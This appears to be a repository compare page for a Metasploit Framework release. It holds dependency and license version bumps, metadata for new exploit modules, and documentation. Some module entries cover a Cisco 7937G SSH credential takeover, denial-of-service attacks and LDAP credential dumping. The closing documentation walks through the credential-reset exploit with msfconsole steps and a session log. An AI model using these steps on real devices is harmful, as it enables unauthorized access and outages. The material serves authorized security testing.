Compare commits
117 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 07acf7bd37 | |||
| 5e636c8c84 | |||
| aa60b4efc0 | |||
| f8bf996233 | |||
| 518e7b3cd6 | |||
| af06429629 | |||
| 855aa3c521 | |||
| d1baf9677e | |||
| a4a0a3ab23 | |||
| 5368536d1a | |||
| 0052da9d15 | |||
| b2e38eb582 | |||
| 9bd687edcd | |||
| 84c9e95073 | |||
| 37fd5dee27 | |||
| 6e4ec6fbf3 | |||
| e75bd31a70 | |||
| c087ef3fa7 | |||
| d7ecb08eca | |||
| 6066bd87cb | |||
| 786d59d360 | |||
| 2228cef857 | |||
| f69facc96b | |||
| 27456ab1a6 | |||
| 841d488667 | |||
| cd351a22b1 | |||
| 2443d38a8d | |||
| c578fde89c | |||
| 39284d4263 | |||
| 22a09b4f1d | |||
| 06f0e2ee92 | |||
| 3dc6e3d2fb | |||
| 28068cd85c | |||
| 33524c0cbf | |||
| 8ea1f5acc2 | |||
| eda50d2a20 | |||
| 5a26aa602e | |||
| 7598c9ec80 | |||
| 37a06756cc | |||
| 586f2443af | |||
| 5bcdaa50d6 | |||
| 1abe6ad32b | |||
| e74a8f38e9 | |||
| 38d81106fe | |||
| c70ab56c90 | |||
| 178bc3fe50 | |||
| 935403d937 | |||
| 06cbf9a86c | |||
| 9a64e3cd38 | |||
| 6e8e6676b2 | |||
| 02e6e3feda | |||
| d50ed2eb37 | |||
| 9c90741a79 | |||
| 97dd5e2239 | |||
| 92129415ad | |||
| c19836b7d5 | |||
| cfea0db83c | |||
| 3cc8e163e3 | |||
| f43443240b | |||
| 9906c931a2 | |||
| fc08076240 | |||
| 57d0e318cb | |||
| 82857c0a36 | |||
| b65c49aa25 | |||
| 7eba463769 | |||
| 1e50ca7d30 | |||
| 9d3da31411 | |||
| 0608025e26 | |||
| b608f7fed7 | |||
| 0cfcaa3aa0 | |||
| 9d08b29358 | |||
| c730eb0021 | |||
| 921e3142c5 | |||
| ae065530f1 | |||
| 7e6ef0d713 | |||
| e001839dcb | |||
| 7d125c9741 | |||
| ffa23ba850 | |||
| 0e0bdc4f98 | |||
| b4689dfa2d | |||
| 5877c79538 | |||
| 1e244ddaec | |||
| 8fe7417d1b | |||
| b461f4ede8 | |||
| 45ef9f9324 | |||
| 27d889a599 | |||
| f6581b9518 | |||
| d1afe60262 | |||
| dada2abaad | |||
| a21907fcc6 | |||
| 4434e37a09 | |||
| 0a025123e9 | |||
| 2a739ed5eb | |||
| 796041ddf4 | |||
| b5fb4800af | |||
| b65f87e0c1 | |||
| cc7dd2179a | |||
| 271daa67d8 | |||
| dcce728012 | |||
| 884b0ec897 | |||
| d43e071a7e | |||
| a77931c479 | |||
| e5e8c19575 | |||
| 70fc0b3375 | |||
| a17d29b6a2 | |||
| 78a7e8ae96 | |||
| 18fdbfd917 | |||
| 16a00ea338 | |||
| 599bfa00be | |||
| e193c33ec3 | |||
| f043e4b9b4 | |||
| 10a0d43da4 | |||
| e4b77616fa | |||
| 1f17b07746 | |||
| f48ed5027f | |||
| 89fef9f9fe | |||
| 854df7e93b |
@@ -9,6 +9,7 @@ bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
|
||||
cdelafuente-r7 <cdelafuente-r7@github> Christophe De La Fuente <christophe_delafuente@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
|
||||
cgranleese-r7 <cgranleese-r7@github> <christopher_granleese@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
|
||||
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
|
||||
|
||||
+7
-7
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.0.2)
|
||||
metasploit-framework (6.0.3)
|
||||
actionpack (~> 5.2.2)
|
||||
activerecord (~> 5.2.2)
|
||||
activesupport (~> 5.2.2)
|
||||
@@ -121,13 +121,13 @@ GEM
|
||||
activerecord (>= 3.1.0, < 7)
|
||||
ast (2.4.1)
|
||||
aws-eventstream (1.1.0)
|
||||
aws-partitions (1.354.0)
|
||||
aws-sdk-core (3.104.3)
|
||||
aws-partitions (1.358.0)
|
||||
aws-sdk-core (3.104.4)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-partitions (~> 1, >= 1.239.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
jmespath (~> 1.0)
|
||||
aws-sdk-ec2 (1.186.0)
|
||||
aws-sdk-ec2 (1.188.0)
|
||||
aws-sdk-core (~> 3, >= 3.99.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.43.0)
|
||||
@@ -140,7 +140,7 @@ GEM
|
||||
aws-sdk-core (~> 3, >= 3.104.3)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sigv4 (1.2.1)
|
||||
aws-sigv4 (1.2.2)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
bcrypt (3.1.15)
|
||||
bcrypt_pbkdf (1.0.1)
|
||||
@@ -239,7 +239,7 @@ GEM
|
||||
mustermann (1.1.1)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
nessus_rest (0.1.6)
|
||||
net-ldap (0.16.2)
|
||||
net-ldap (0.16.3)
|
||||
net-ssh (6.1.0)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.2.1)
|
||||
@@ -385,7 +385,7 @@ GEM
|
||||
ruby-progressbar (1.10.1)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.2)
|
||||
ruby_smb (2.0.2)
|
||||
ruby_smb (2.0.3)
|
||||
bindata
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
|
||||
+7
-7
@@ -11,13 +11,13 @@ arel, 9.0.0, MIT
|
||||
arel-helpers, 2.11.0, MIT
|
||||
ast, 2.4.1, MIT
|
||||
aws-eventstream, 1.1.0, "Apache 2.0"
|
||||
aws-partitions, 1.354.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.104.3, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.186.0, "Apache 2.0"
|
||||
aws-partitions, 1.358.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.104.4, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.188.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.43.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.36.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.78.0, "Apache 2.0"
|
||||
aws-sigv4, 1.2.1, "Apache 2.0"
|
||||
aws-sigv4, 1.2.2, "Apache 2.0"
|
||||
bcrypt, 3.1.15, MIT
|
||||
bcrypt_pbkdf, 1.0.1, MIT
|
||||
bindata, 2.4.8, ruby
|
||||
@@ -60,7 +60,7 @@ memory_profiler, 0.9.14, MIT
|
||||
metasm, 1.0.4, LGPL-2.1
|
||||
metasploit-concern, 3.0.0, "New BSD"
|
||||
metasploit-credential, 4.0.2, "New BSD"
|
||||
metasploit-framework, 6.0.2, "New BSD"
|
||||
metasploit-framework, 6.0.3, "New BSD"
|
||||
metasploit-model, 3.0.0, "New BSD"
|
||||
metasploit-payloads, 2.0.10, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 4.0.2, "New BSD"
|
||||
@@ -73,7 +73,7 @@ msgpack, 1.3.3, "Apache 2.0"
|
||||
multipart-post, 2.1.1, MIT
|
||||
mustermann, 1.1.1, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-ldap, 0.16.2, MIT
|
||||
net-ldap, 0.16.3, MIT
|
||||
net-ssh, 6.1.0, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.2.1, "New BSD"
|
||||
@@ -139,7 +139,7 @@ ruby-prof, 1.4.1, "Simplified BSD"
|
||||
ruby-progressbar, 1.10.1, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.2, ruby
|
||||
ruby_smb, 2.0.2, "New BSD"
|
||||
ruby_smb, 2.0.3, "New BSD"
|
||||
rubyntlm, 0.6.2, MIT
|
||||
rubyzip, 2.3.0, "Simplified BSD"
|
||||
sawyer, 0.8.2, MIT
|
||||
|
||||
@@ -1065,6 +1065,44 @@
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_admin/http/cisco_7937g_ssh_privesc": {
|
||||
"name": "Cisco 7937G SSH Privilege Escalation",
|
||||
"fullname": "auxiliary/admin/http/cisco_7937g_ssh_privesc",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2020-06-02",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Cody Martin"
|
||||
],
|
||||
"description": "This module exploits a feature that should not be available \n\tvia the web interface. An unauthenticated user may change \n\tthe credentials for SSH access to any username and password \n\tcombination desired, giving access to administrative \n\tfunctions through an SSH connection.",
|
||||
"references": [
|
||||
"URL-https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/",
|
||||
"CVE-2020-16137"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-08-21 14:55:45 +0000",
|
||||
"path": "/modules/auxiliary/admin/http/cisco_7937g_ssh_privesc.py",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/http/cisco_7937g_ssh_privesc",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_admin/http/cnpilot_r_cmd_exec": {
|
||||
"name": "Cambium cnPilot r200/r201 Command Execution as 'root'",
|
||||
"fullname": "auxiliary/admin/http/cnpilot_r_cmd_exec",
|
||||
@@ -3455,7 +3493,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2019-09-23 15:29:38 +0000",
|
||||
"mod_time": "2020-08-21 15:30:55 +0000",
|
||||
"path": "/modules/auxiliary/admin/http/telpho10_credential_dump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/http/telpho10_credential_dump",
|
||||
@@ -9292,6 +9330,82 @@
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_dos/cisco/cisco_7937g_dos": {
|
||||
"name": "Cisco 7937G Denial-of-Service Attack",
|
||||
"fullname": "auxiliary/dos/cisco/cisco_7937g_dos",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2020-06-02",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Cody Martin"
|
||||
],
|
||||
"description": "This module exploits a bug in how the conference station \n\thandles incoming SSH connections that provide an incompatible \n\tkey exchange. By connecting with an incompatible key exchange, \n\tthe device becomes nonresponsive until it is manually power\n\tcycled.",
|
||||
"references": [
|
||||
"URL-https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/",
|
||||
"CVE-2020-16138"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-08-21 13:13:33 +0000",
|
||||
"path": "/modules/auxiliary/dos/cisco/cisco_7937g_dos.py",
|
||||
"is_install_path": true,
|
||||
"ref_name": "dos/cisco/cisco_7937g_dos",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_dos/cisco/cisco_7937g_dos_reboot": {
|
||||
"name": "Cisco 7937G Denial-of-Service Reboot Attack",
|
||||
"fullname": "auxiliary/dos/cisco/cisco_7937g_dos_reboot",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2020-06-02",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Cody Martin"
|
||||
],
|
||||
"description": "This module exploits a bug in how the conference station handles \n\texecuting a ping via its web interface. By repeatedly executing \n\tthe ping function without clearing out the resulting output, \n\ta DoS is caused that will reset the device after a few minutes.",
|
||||
"references": [
|
||||
"URL-https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/",
|
||||
"CVE-2020-16139"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-08-21 09:01:45 +0000",
|
||||
"path": "/modules/auxiliary/dos/cisco/cisco_7937g_dos_reboot.py",
|
||||
"is_install_path": true,
|
||||
"ref_name": "dos/cisco/cisco_7937g_dos_reboot",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_dos/cisco/ios_http_percentpercent": {
|
||||
"name": "Cisco IOS HTTP GET /%% Request Denial of Service",
|
||||
"fullname": "auxiliary/dos/cisco/ios_http_percentpercent",
|
||||
@@ -17455,6 +17569,50 @@
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/ldap_hashdump": {
|
||||
"name": "LDAP Information Disclosure",
|
||||
"fullname": "auxiliary/gather/ldap_hashdump",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2020-07-23",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Hynek Petrak"
|
||||
],
|
||||
"description": "This module uses an anonymous-bind LDAP connection to dump data from\n an LDAP server. Searching for attributes with user credentials\n (e.g. userPassword).",
|
||||
"references": [
|
||||
"CVE-2020-3952",
|
||||
"URL-https://www.vmware.com/security/advisories/VMSA-2020-0006.html"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 636,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-08-27 09:14:51 +0000",
|
||||
"path": "/modules/auxiliary/gather/ldap_hashdump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/ldap_hashdump",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/mantisbt_admin_sqli": {
|
||||
"name": "MantisBT Admin SQL Injection Arbitrary File Read",
|
||||
"fullname": "auxiliary/gather/mantisbt_admin_sqli",
|
||||
@@ -18972,7 +19130,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-07-22 15:40:10 +0000",
|
||||
"mod_time": "2020-07-25 00:13:12 +0000",
|
||||
"path": "/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/vmware_vcenter_vmdir_ldap",
|
||||
@@ -27357,7 +27515,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-08-10 09:47:59 +0000",
|
||||
"mod_time": "2020-08-25 16:51:47 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/jupyter_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/jupyter_login",
|
||||
@@ -30596,9 +30754,10 @@
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"willis"
|
||||
"willis",
|
||||
"0x44434241"
|
||||
],
|
||||
"description": "A misconfigured Squid proxy can allow an attacker to make requests on his behalf.\n This may give the attacker information about devices that he cannot reach but the\n Squid proxy can. For example, an attacker can make requests for internal IP addresses\n against a misconfigured open Squid proxy exposed to the Internet, therefore performing\n an internal port scan. The error messages returned by the proxy are used to determine\n if the port is open or not.\n\n Many Squid proxies use custom error codes so your mileage may vary. The open_proxy\n module can be used to test for open proxies, though a Squid proxy does not have to be\n open in order to allow for pivoting (e.g. an Intranet Squid proxy which allows\n the attack to pivot to another part of the network).",
|
||||
"description": "A exposed Squid proxy will usually allow an attacker to make requests on\n their behalf. If misconfigured, this may give the attacker information\n about devices that they cannot normally reach. For example, an attacker\n may be able to make requests for internal IP addresses against an open\n Squid proxy exposed to the Internet, therefore performing a port scan\n against the internal network.\n\n The `auxiliary/scanner/http/open_proxy` module can be used to test for\n open proxies, though a Squid proxy does not have to be on the open\n Internet in order to allow for pivoting (e.g. an Intranet Squid proxy\n which allows the attack to pivot to another part of the internal\n network).\n\n This module will not be able to scan network ranges or ports denied by\n Squid ACLs. Fortunately it is possible to detect whether a host was up\n and the port was closed, or if the request was blocked by an ACL, based\n on the response Squid gives. This feedback is provided to the user in\n meterpreter `VERBOSE` output, otherwise only open and permitted ports\n are printed.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -30621,7 +30780,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2017-08-26 21:01:10 +0000",
|
||||
"mod_time": "2020-08-21 08:47:05 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/squid_pivot_scanning.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/squid_pivot_scanning",
|
||||
@@ -51310,7 +51469,7 @@
|
||||
"stealth",
|
||||
"bcoles <bcoles@gmail.com>"
|
||||
],
|
||||
"description": "This module exploits a vulnerability in the FreeBSD\n run-time link-editor (rtld).\n\n The rtld `unsetenv()` function fails to remove `LD_*`\n environment variables if `__findenv()` fails.\n\n This can be abused to load arbitrary shared objects using\n `LD_PRELOAD`, resulting in privileged code execution.\n\n This module has been tested successfully on:\n\n FreeBSD 7.2-RELEASE (amd64); and\n FreeBSD 8.0-RELEASE (amd64).",
|
||||
"description": "This module exploits a vulnerability in the FreeBSD\n run-time link-editor (rtld).\n\n The rtld `unsetenv()` function fails to remove `LD_*`\n environment variables if `__findenv()` fails.\n\n This can be abused to load arbitrary shared objects using\n `LD_PRELOAD`, resulting in privileged code execution.\n\n This module has been tested successfully on:\n\n FreeBSD 7.2-RELEASE (amd64); and\n FreeBSD 8.0-RELEASE (amd64).",
|
||||
"references": [
|
||||
"BID-37154",
|
||||
"CVE-2009-4146",
|
||||
@@ -51334,7 +51493,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2020-07-12 00:47:56 +0000",
|
||||
"mod_time": "2020-08-24 11:47:50 +0000",
|
||||
"path": "/modules/exploits/freebsd/local/rtld_execl_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "freebsd/local/rtld_execl_priv_esc",
|
||||
|
||||
@@ -0,0 +1,450 @@
|
||||
## Vulnerable Application
|
||||
|
||||
[Cisco 7937G](https://www.cisco.com/c/en/us/support/collaboration-endpoints/unified-ip-conference-station-7937g/model.html) Conference Station.
|
||||
This module has been tested successfully against firmware versions SCCP-1-4-5-5 and SCCP-1-4-5-7.
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits a feature that should not be available via the web interface.
|
||||
An unauthenticated user may set the credentials for SSH access to any username and
|
||||
password combination desired, giving access to administrative functions through an SSH connection.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Obtain a Cisco 7937G Conference Station.
|
||||
2. Enable Web Access and SSH Access on the device.
|
||||
3. Start msfconsole
|
||||
4. Do: `use auxiliary/admin/http/cisco_7937g_ssh_privesc`
|
||||
5. Do: `set RHOSTS 192.168.1.10`
|
||||
6. Do: `set USER test`
|
||||
7. Do: `set PASS test`
|
||||
8. Do: `run`
|
||||
9. The conference station's SSH service should now be configured with the supplied USER:PASS.
|
||||
|
||||
## Options
|
||||
|
||||
### PASS
|
||||
|
||||
The desired password for setting SSH access
|
||||
|
||||
### USER
|
||||
|
||||
The desired username for setting SSH access
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Cisco 7937G Running Firmware Version SCCP-1-4-5-7
|
||||
|
||||
#### Successful Scenario
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc
|
||||
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
|
||||
user => test
|
||||
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
|
||||
pass => test
|
||||
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
|
||||
rhosts => 192.168.110.209
|
||||
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
|
||||
|
||||
[*] Running for 192.168.110.209...
|
||||
[*] 192.168.110.209 - Attempting to set SSH credentials.
|
||||
[*] 192.168.110.209 - SSH attack finished!
|
||||
[*] 192.168.110.209 - Try to login using the supplied credentials test:test
|
||||
[*] 192.168.110.209 - You must specify the key exchange when connecting or the device will be DoS'd!
|
||||
[*] 192.168.110.209 - ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(linux/ssh/cve_2020_16137) > exit
|
||||
user@ubuntu:~$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209
|
||||
test@192.168.110.209's password:
|
||||
|
||||
$>help
|
||||
|
||||
|
||||
Commands 1 to 21:
|
||||
help - Shows basic help for all commands.
|
||||
echo - Echoes all arguments (arbitrary parameters, up to 9)
|
||||
psosMaxShow - Show max number of psos objects created.
|
||||
psosFailuresShow - Show failures of psos api calls.
|
||||
clearNetStats - Clear statistics counters in Ethernet Driver.
|
||||
nicheShow - Show statistics of InterNiche stack.
|
||||
psosIntStackShow - Show information on interrupt stack.
|
||||
i - Display status of the specified process, or all running processes (Process_name (optional))
|
||||
checkStack - Checks the stack.
|
||||
reboot - Reboots the phone with an optional parameter.
|
||||
logl - Set the lowest log level which will be displayed (0-6)
|
||||
logs - Set the log level output for a given module ([module] [0-6])
|
||||
logsa - Set the log level output for all modules. ([0-6])
|
||||
logt - Set the log display type (0-2)
|
||||
logd - Dump the log, parameter is reverse order or not.
|
||||
logda - Print all available log modules and their current level.
|
||||
setRtRender - Set real time rendering parameters for the log.
|
||||
lfu - Send the logfiles to the provisioning server(no parameters).
|
||||
del - Delete specified file.
|
||||
cat - Concatanate specified files.
|
||||
|
||||
Commands 21 to 41:
|
||||
copy - Copy a file, can be stdout.
|
||||
ls - List the contents of flash.
|
||||
ll - List the contents of flash.
|
||||
d - Display memory. <address>,<num words>,<size words>
|
||||
m - Display memory. <address>,<size words>
|
||||
ping - Ping a given host (IP or DNS name) [,Data Len in Bytes]
|
||||
ifShow - Display ethernet interface statistics (no parameters)
|
||||
showStoredConfig - Display configuration as stored in flash (no parameters)
|
||||
showRunningConfig - Display the current running configuration (no parameters)
|
||||
showBackupConfig - Display backup configuration as stored in flash (no parameters)
|
||||
overrideBackupConfig - Override backup flash config with current config (no parameters)
|
||||
overrideSecurityBackup - Override backup security sector with current security sector.
|
||||
resetConfig - Reset the phone to the default settings(setting type [SPIP],[SPIPCS],[SPIPShoreline])
|
||||
configDhcpSet - Set DHCP parameters in the flash.
|
||||
(DHCP Enabled[YES|NO], Offer Timeout, DHCP Option, DHCP Option Type,
|
||||
Using statically configured boot server[YES|NO])
|
||||
configDnsSet - Set DNS parameters in the flash. (Primary DNS Server, Secondary DNS Server, DNS Domain)
|
||||
configNetSet - Set network parameters in the flash.
|
||||
(IP Address, Subnet Mask, Router, VLAN(can be empty))
|
||||
configProvisioningSet - Set provisioning server parameters in the flash.
|
||||
(Server Name, Using server type[FTP|TFTP|HTTP|HTTPS|FTPS], User, Password)
|
||||
configSntpSet - Set SNTP parameters in the flash. (sntpserverName,sntpgmtOffset)
|
||||
nslookup - Find the IP for a given hostname
|
||||
dnsCacheAShow - Show DNS Cache for A records.
|
||||
|
||||
Commands 41 to 61:
|
||||
dnsCacheSrvShow - Show DNS Cache for SRV records.
|
||||
dnsCacheAFlush - Flush DNS A records from cache.
|
||||
version - Display vxWorks bootline, software versions, and hardware version.
|
||||
hwBoardSerialSet - Set serial number. !!!!!Should never be used!!!!!.
|
||||
hwVarSet - Set the contents of a hardware var ([var ID] [new value])
|
||||
hwVarShow - Display the contents of a hardware var ([var ID])
|
||||
simulateKeyPress - Send a key Press event to so like it came from hardware.
|
||||
simulateKeyHold - Send a key Hold event to so like it came from hardware.
|
||||
simulateKeyRelease - Send a key Release event to so like it came from hardware.
|
||||
simulateHookUp - Send a hookswitch event to so like it came from hardware.
|
||||
simulateHookDown - Send a hookswitch event to so like it came from hardware.
|
||||
ncasMisc - Show misc. non-call information (no parameters)
|
||||
ncasCb - Show detailed ncas information, related to either call services,
|
||||
non-call services, or server information (1, 2, or 3)
|
||||
uptime - Show phone uptime.
|
||||
appPrt - Show UI's call status.
|
||||
fntPrt - Show information about fonts available on phone.
|
||||
memtop - Shows the top poiter to current memory.
|
||||
removeScheduledLogEntry - debug
|
||||
addScheduledLogEntry - debug
|
||||
fatalError - Simulate fatal error for the phone.
|
||||
|
||||
Commands 61 to 81:
|
||||
enableStrTruncLog - Enable logging of string truncation.
|
||||
disableStrTruncLog - Disable logging of string truncation.
|
||||
sendFlashBinImage - Upload binary flash image.
|
||||
setMac - debug, here because PSOS can't set the MAC.
|
||||
sg - send a bitmap to the boot server
|
||||
memShow - Display system memory usage
|
||||
memDebug - Toggle memory manager trace flag
|
||||
l2Debug - Toggle memory manager trace flag
|
||||
wsTest - Web Service Test Tool
|
||||
fxShow - Display file transfer manager status
|
||||
utilHostByNameShow - Test utilHostByName
|
||||
utilDnsShow - Show callbacks for dns queries
|
||||
dnsCacheShow - Show DNSACacheShow
|
||||
utilEthLinkShow - Show Ethernet link status
|
||||
ethConfigTest - Set Ethernet Mode (0 to 4)
|
||||
timeTest - Test time
|
||||
contrastChg - Change LCD Contrast
|
||||
setAdminVlan - Set admin vlan id
|
||||
setL2Auth - Set L2 Auth Enable/Disable
|
||||
ipAddrChange - Change ip addr configuration
|
||||
|
||||
Commands 81 to 101:
|
||||
tftpChange - Change tftp addr
|
||||
arpStats - Print ARP statistics
|
||||
fxPut - Transfer file to remote
|
||||
crash - Crash the system
|
||||
ipAddrShow - Show ip addr
|
||||
rtosSocketShow - Show rtos socket information
|
||||
sccpShow - Show protocol
|
||||
regManagerShow - show registration manager state
|
||||
uiPrintAll - uiPrintAll
|
||||
uiPrintSoftKeys - uiPrintSoftKeys
|
||||
getVoiceQuality - displays voice quality control status
|
||||
uiPrintLocalSoftKeys - uiPrintLocalSoftKeys
|
||||
uiStartTone - uiStartTone
|
||||
uiStopTone - uiStopTone
|
||||
pegPrintAll - pegPrintAll
|
||||
uiSMPrintAll - uiStateMachinePrintAll
|
||||
lldpSMPrintAll - lldpStateMachinePrintAll
|
||||
saveLogLevels - saveLogLevels
|
||||
localePrintAll - localePrintAll
|
||||
ceShow - Show Client Engine Status
|
||||
|
||||
Commands 101 to 121:
|
||||
udiShow - Show Unique Device Indentifier
|
||||
show - Show Unique Device Indentifier
|
||||
pbnShow - Display app & bootrom headers
|
||||
upr - Upgrade to a Rockpile Standalone Image
|
||||
upm - Upgrade to a Rockpile Manf Image
|
||||
setHw - Sets the Rockpile Hardware Id
|
||||
getHw - Prints the Rockpile Hardware Id
|
||||
setUpf - Sets the Upgrade progress flag
|
||||
rstUpf - Resets the Upgrade progress flag
|
||||
setMdm - Sets the Manf diag mode flag
|
||||
rstMdm - Resets the Manf diag mode flag
|
||||
setDhcp - Sets the Manf diag dhcp flag
|
||||
rstDhcp - Resets the Manf diag dhcp flag
|
||||
setOrd - Sets the ORD flag
|
||||
rstOrd - Resets the ORD flag
|
||||
fs - Prin the status of rockpile flags
|
||||
cp - Mfg. test diags
|
||||
vol - Mfg. test diags
|
||||
sig - Mfg. test diags
|
||||
os - Mfg. test diags
|
||||
|
||||
Commands 121 to 141:
|
||||
lcd - Mfg. test diags
|
||||
sum - Prints checksums of flash images
|
||||
rd - Mfg. test diags
|
||||
wr - Mfg. test diags
|
||||
eth - Start/stop ethernet hardware
|
||||
fstp - Stop FGPIO interface
|
||||
hfTxEq - Audio testing for large conf rooms
|
||||
ctConv - perform ct convergence test.
|
||||
ctModeEnd - terminate ctMode
|
||||
ctEnableRx - Enable ctRx 1 on, 0 off
|
||||
ctEnableTx - Enable ctTx 1 on, 0 off
|
||||
ctMicTx - Route mic # to Tx
|
||||
ctEMTx - Route external mic # to Tx
|
||||
ctSineTx - [chan], [freq], [dBm]: Generate tone to Tx (0 => HD, 1 => HF, default HF, 1KHz, -40dBm)
|
||||
ctRxSpkr - Send directly to HF speaker
|
||||
ctSineSpkr - [chan], [freq], [dBm]: Generate tone to Rx (0 => HD, 1 => HF, default HF, 1KHz, -40dBm)
|
||||
ctNoiseSpkr - [chan], [dBm]: Generate noise to Rx (0 => HD, 1 => HF, default HF, -40dBm)
|
||||
displayListeningPorts - Display listening port and process info
|
||||
killListeningProcess - Kill the task associated with the port
|
||||
|
||||
$>exit
|
||||
```
|
||||
|
||||
